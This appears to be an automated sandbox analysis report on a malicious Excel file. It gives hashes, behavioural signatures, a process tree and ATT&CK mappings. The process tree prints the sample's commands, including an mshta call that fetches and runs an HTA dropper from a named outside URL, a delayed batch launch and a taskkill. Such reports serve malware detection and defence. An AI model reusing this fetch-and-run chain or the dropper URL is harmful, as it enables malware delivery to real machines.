fc7e229f8b4a366116e1d1101cb213811c13881a36ff064aa770621b926b19fa

General

Target

SecuriteInfo.com.Exploit.Siggen3.17149.5932.xls
Size

38KB
MD5

8e37553a04391b7dd7f65fe36bf8d687
SHA1

89d5fd03fa8ee5ac5f553d176639990e0f215d45
SHA256

fc7e229f8b4a366116e1d1101cb213811c13881a36ff064aa770621b926b19fa
SHA512

6a0fa8eb3e68efdb1394dbbd49834321b4527efca0d6566e522c4bc237618e047c94af0b5bb8def10bbe4ff432d8d4bca1aaea7c854294f204f92cc21811067e

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://facextrade.com.br/wp-includes/certificates/4.txt

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2780	2684	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 37 IoCs

Processes:

mshta.exe

flow	pid	process
17	1468	mshta.exe
18	1468	mshta.exe
22	1468	mshta.exe
23	1468	mshta.exe
24	1468	mshta.exe
25	1468	mshta.exe
27	1468	mshta.exe
28	1468	mshta.exe
30	1468	mshta.exe
41	1468	mshta.exe
42	1468	mshta.exe
43	1468	mshta.exe
44	1468	mshta.exe
47	1468	mshta.exe
48	1468	mshta.exe
50	1468	mshta.exe
55	1468	mshta.exe
56	1468	mshta.exe
57	1468	mshta.exe
58	1468	mshta.exe
59	1468	mshta.exe
60	1468	mshta.exe
61	1468	mshta.exe
62	1468	mshta.exe
63	1468	mshta.exe
64	1468	mshta.exe
65	1468	mshta.exe
66	1468	mshta.exe
67	1468	mshta.exe
68	1468	mshta.exe
69	1468	mshta.exe
70	1468	mshta.exe
71	1468	mshta.exe
72	1468	mshta.exe
73	1468	mshta.exe
74	1468	mshta.exe
75	1468	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

4036 taskkill.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

3708 PING.EXE
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2684 EXCEL.EXE
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

taskkill.exe

description pid process

Token: SeDebugPrivilege 4036 taskkill.exe

pid	process
4036	taskkill.exe

pid	process
3708	PING.EXE

description	pid	process
Token: SeDebugPrivilege	4036	taskkill.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
2684	EXCEL.EXE
2684	EXCEL.EXE
2684	EXCEL.EXE
2684	EXCEL.EXE
2684	EXCEL.EXE
2684	EXCEL.EXE
2684	EXCEL.EXE
2684	EXCEL.EXE
2684	EXCEL.EXE
2684	EXCEL.EXE
2684	EXCEL.EXE
2684	EXCEL.EXE
2684	EXCEL.EXE

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

EXCEL.EXEcmd.execmd.exe

description	pid	process	target process
PID 2684 wrote to memory of 2780	2684	EXCEL.EXE	cmd.exe
PID 2684 wrote to memory of 2780	2684	EXCEL.EXE	cmd.exe
PID 2780 wrote to memory of 3708	2780	cmd.exe	PING.EXE
PID 2780 wrote to memory of 3708	2780	cmd.exe	PING.EXE
PID 2780 wrote to memory of 1876	2780	cmd.exe	cmd.exe
PID 2780 wrote to memory of 1876	2780	cmd.exe	cmd.exe
PID 1876 wrote to memory of 4036	1876	cmd.exe	taskkill.exe
PID 1876 wrote to memory of 4036	1876	cmd.exe	taskkill.exe
PID 2780 wrote to memory of 1468	2780	cmd.exe	mshta.exe
PID 2780 wrote to memory of 1468	2780	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen3.17149.5932.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2684

C:\Windows\SYSTEM32\cmd.exe
cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2780

C:\Windows\system32\PING.EXE
ping -n 8 127.0.0.1
3⤵
- Runs ping.exe
PID:3708

C:\Windows\system32\cmd.exe
cmd /c start /min taskkill /f /im WINWORD.EXE
3⤵
- Suspicious use of WriteProcessMemory
PID:1876

C:\Windows\system32\taskkill.exe
taskkill /f /im WINWORD.EXE
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4036

C:\Windows\system32\mshta.exe
mshta http://facextrade.com.br/wp-includes/certificates/4.txt
3⤵
- Blocklisted process makes network request
PID:1468

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Remote System Discovery

1

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Public\Outlook.bat
Filesize
1KB

MD5
20484f4a7d41c5f54a0dc7a7d35c2155

SHA1
0b197c48d648bbdc131dca6d4fb89903303372f9

SHA256
6df10dd726cef49360df78c47651a311ea7bb21064fe77e019e223ef32776072

SHA512
94df430c3890d5ba23618283ea6eaa6aa0c74d19c5e049f3cc4d65a464266ccc2eefccdb59d6464606200b2e51cdc9b57c2534c67aded228d00a54d856c98591

Download Submit
memory/1468-144-0x0000000000000000-mapping.dmp

Download
memory/1876-142-0x0000000000000000-mapping.dmp

Download
memory/2684-136-0x00007FFD677B0000-0x00007FFD677C0000-memory.dmp

Filesize
64KB

Download
memory/2684-147-0x00007FFD677B0000-0x00007FFD677C0000-memory.dmp

Filesize
64KB

Download
memory/2684-137-0x00007FFD656B0000-0x00007FFD656C0000-memory.dmp

Filesize
64KB

Download
memory/2684-138-0x00007FFD656B0000-0x00007FFD656C0000-memory.dmp

Filesize
64KB

Download
memory/2684-150-0x00007FFD677B0000-0x00007FFD677C0000-memory.dmp

Filesize
64KB

Download
memory/2684-149-0x00007FFD677B0000-0x00007FFD677C0000-memory.dmp

Filesize
64KB

Download
memory/2684-135-0x00007FFD677B0000-0x00007FFD677C0000-memory.dmp

Filesize
64KB

Download
memory/2684-134-0x00007FFD677B0000-0x00007FFD677C0000-memory.dmp

Filesize
64KB

Download
memory/2684-148-0x00007FFD677B0000-0x00007FFD677C0000-memory.dmp

Filesize
64KB

Download
memory/2684-133-0x00007FFD677B0000-0x00007FFD677C0000-memory.dmp

Filesize
64KB

Download
memory/2684-132-0x00007FFD677B0000-0x00007FFD677C0000-memory.dmp

Filesize
64KB

Download
memory/2780-139-0x0000000000000000-mapping.dmp

Download
memory/3708-140-0x0000000000000000-mapping.dmp

Download
memory/4036-143-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads